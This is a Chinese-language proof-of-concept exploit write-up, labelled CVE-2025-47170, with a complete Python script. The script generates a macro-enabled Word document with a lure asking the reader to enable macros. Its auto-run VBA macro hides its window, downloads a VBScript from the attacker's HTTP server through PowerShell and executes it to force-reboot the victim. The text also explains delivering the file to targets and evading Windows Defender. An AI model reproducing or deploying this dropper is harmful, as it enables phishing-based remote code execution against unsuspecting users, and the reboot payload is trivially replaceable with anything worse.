CVE-2025-47170 Exploit PoC VBA Bypass Windows Defender
概述
此Python脚本是一个概念验证漏洞利用程序,用于演示Microsoft Word远程代码执行漏洞CVE-2025-47170。
它自动化创建了一个嵌入VBA宏的恶意Microsoft Word .docm文件。这些宏会从HTTP服务器下载并执行一个VBScript载荷。该VBScript载荷会强制重启受害者的机器。
脚本分解与解释
1. 导入与依赖
1
2
3
4
5
6
7
8
|
import os
import sys
import socket
import http.server
import socketserver
import threading
import pythoncom
import win32com.client as win32
|
pythoncom和win32com.client(来自pywin32)用于通过COM自动化Microsoft Word。
http.server和socketserver用于创建托管载荷文件的HTTP服务器。
socket用于获取本地IP地址。
使用os、sys和threading等标准库进行文件管理、参数处理和并发控制。
2. 获取本地IP地址
1
2
3
4
5
6
7
8
9
10
|
def get_local_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
except Exception:
ip = "127.0.0.1"
finally:
s.close()
return ip
|
创建一个UDP套接字,通过“连接”到公共DNS IP(谷歌的8.8.8.8)来获取机器的本地IP地址。
此IP用于构建服务载荷的URL。
3. 创建VBScript载荷
1
2
3
4
5
6
7
8
9
10
|
def create_vbs_payload(folder):
vbs_path = os.path.join(folder, "salaries.vbs")
vbs_content = '''
Set objShell = CreateObject("WScript.Shell")
objShell.Run "shutdown /r /t 5 /f", 0, False
'''
with open(vbs_path, "w") as f:
f.write(vbs_content.strip())
print(f"[*] Created VBS payload at: {vbs_path}")
return "salaries.vbs"
|
将VBScript文件salaries.vbs写入指定文件夹。
该脚本会静默运行Windows关机命令,在5秒后重启系统。
此VBScript是由宏执行的载荷。
4. 创建嵌入了宏的恶意Word文档
1
2
3
4
5
6
|
def create_docm_with_macro(folder, payload_url):
docm_path = os.path.join(folder, "salaries.docm")
pythoncom.CoInitialize()
word = win32.gencache.EnsureDispatch('Word.Application')
word.Visible = False
doc = word.Documents.Add()
|
初始化COM并不可见地启动Word。
创建一个新的Word文档。
1
|
doc.Content.Text = "Please enable macros to see the salary details."
|
添加一些无害的文本,以诱骗用户启用宏。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
macro_code = f'''
Sub AutoOpen()
Call RunPayload
End Sub
Sub Document_Open()
Call RunPayload
End Sub
Sub RunPayload()
On Error Resume Next
Dim fullUrl As String
Dim payloadName As String
Dim fullPath As String
Dim shellCmd As String
Dim RetVal As Long
fullUrl = "http://" & "{payload_url}" & "/salaries.vbs"
payloadName = "salaries.vbs"
fullPath = Environ("TEMP") & "\\" & payloadName
shellCmd = "powershell -Command ""Invoke-WebRequest -Uri '" & fullUrl & "' -OutFile '" & fullPath & "' -UseBasicParsing"""
RetVal = Shell(shellCmd, vbHide)
RetVal = Shell("wscript.exe " & fullPath, vbHide)
End Sub
'''
|
VBA宏代码,在文档打开时自动执行(通过AutoOpen、Document_Open)。
它:
构建下载salaries.vbs的URL。
通过PowerShell的Invoke-WebRequest将VBScript载荷下载到TEMP目录。
使用wscript.exe静默执行VBScript。
包含On Error Resume Next以避免因错误而停止。
1
2
3
|
vb_proj = doc.VBProject
vb_module = vb_proj.VBComponents.Add(1) # 1 = vbext_ct_StdModule
vb_module.CodeModule.AddFromString(macro_code.strip())
|
将VBA宏注入到Word文档的VBA项目中。
1
2
3
4
5
6
7
8
9
10
|
wdFormatXMLDocumentMacroEnabled = 13
try:
doc.SaveAs(docm_path, FileFormat=wdFormatXMLDocumentMacroEnabled)
print(f"[*] Created malicious DOCM file: {docm_path}")
except Exception as e:
print(f"[!] Failed to save DOCM file: {e}")
finally:
doc.Close(False)
word.Quit()
pythoncom.CoUninitialize()
|
将文档保存为.docm文件(启用宏)。
正确关闭Word并清理COM初始化。
5. 启动HTTP服务器以托管载荷和文档
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
def start_http_server(folder, port):
os.chdir(folder)
handler = http.server.SimpleHTTPRequestHandler
httpd = socketserver.TCPServer(("", port), handler)
local_ip = get_local_ip()
print(f"[*] Serving HTTP at port {port} from folder: {folder}")
print(f"[*] Payload URL: http://{local_ip}:{port}/salaries.vbs")
print(f"[*] DOCM URL: http://{local_ip}:{port}/salaries.docm")
print("[*] Press Ctrl+C to stop the HTTP server and exit.")
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("\n[*] Stopping HTTP server...")
httpd.server_close()
|
更改目录以服务当前文件夹。
在指定端口启动一个简单的HTTP服务器。
输出载荷和文档的访问URL。
持续运行直到被中断。
6. 主函数:工作流程控制
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
def main():
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <port>")
sys.exit(1)
port = int(sys.argv[1])
folder = os.getcwd()
# Create payload.vbs if missing
vbs_path = os.path.join(folder, "salaries.vbs")
if not os.path.isfile(vbs_path):
create_vbs_payload(folder)
else:
print(f"[+] Using existing payload: {vbs_path}")
local_ip = get_local_ip()
payload_url = f"{local_ip}:{port}"
create_docm_with_macro(folder, payload_url)
start_http_server(folder, port)
|
验证命令行参数(端口)。
使用当前目录作为工作文件夹。
如果VBScript载荷不存在,则创建它。
生成指向本地HTTP服务器的恶意Word文档。
启动HTTP服务器以提供文件。
使用方法
使用端口号参数运行脚本:
1
|
python CVE-2025-47170.py 8000
|
脚本将在当前目录中生成salaries.vbs和salaries.docm。
它将在端口8000上启动一个HTTP服务器来提供这些文件。
将salaries.docm交付给目标用户。当他们打开文档并启用宏时:
宏从http://<你的IP>:8000/salaries.vbs下载salaries.vbs。
运行VBScript,强制系统重启。
Windows Defender 绕过讨论
VBScript载荷并未嵌入到Word文档内部,而是动态下载的。
宏使用PowerShell的Invoke-WebRequest来获取载荷,而不是使用可疑命令如bitsadmin。
宏使用对用户交互隐藏的基本VBA shell命令(vbHide)。
这种将小步骤链接起来的方式,使得基于签名的杀毒软件更难一次性检测到完整的攻击。
注意:这是一个简单的演示,具有云启发式或行为检测的现代Windows Defender版本可能仍会阻止此攻击。
警告与法律声明
仅供教育目的和授权的安全测试使用。
执行VBScript载荷将在不发出警告的情况下重启您的系统。
确保在测试任何机器之前已获得许可。
仅在受控环境中使用。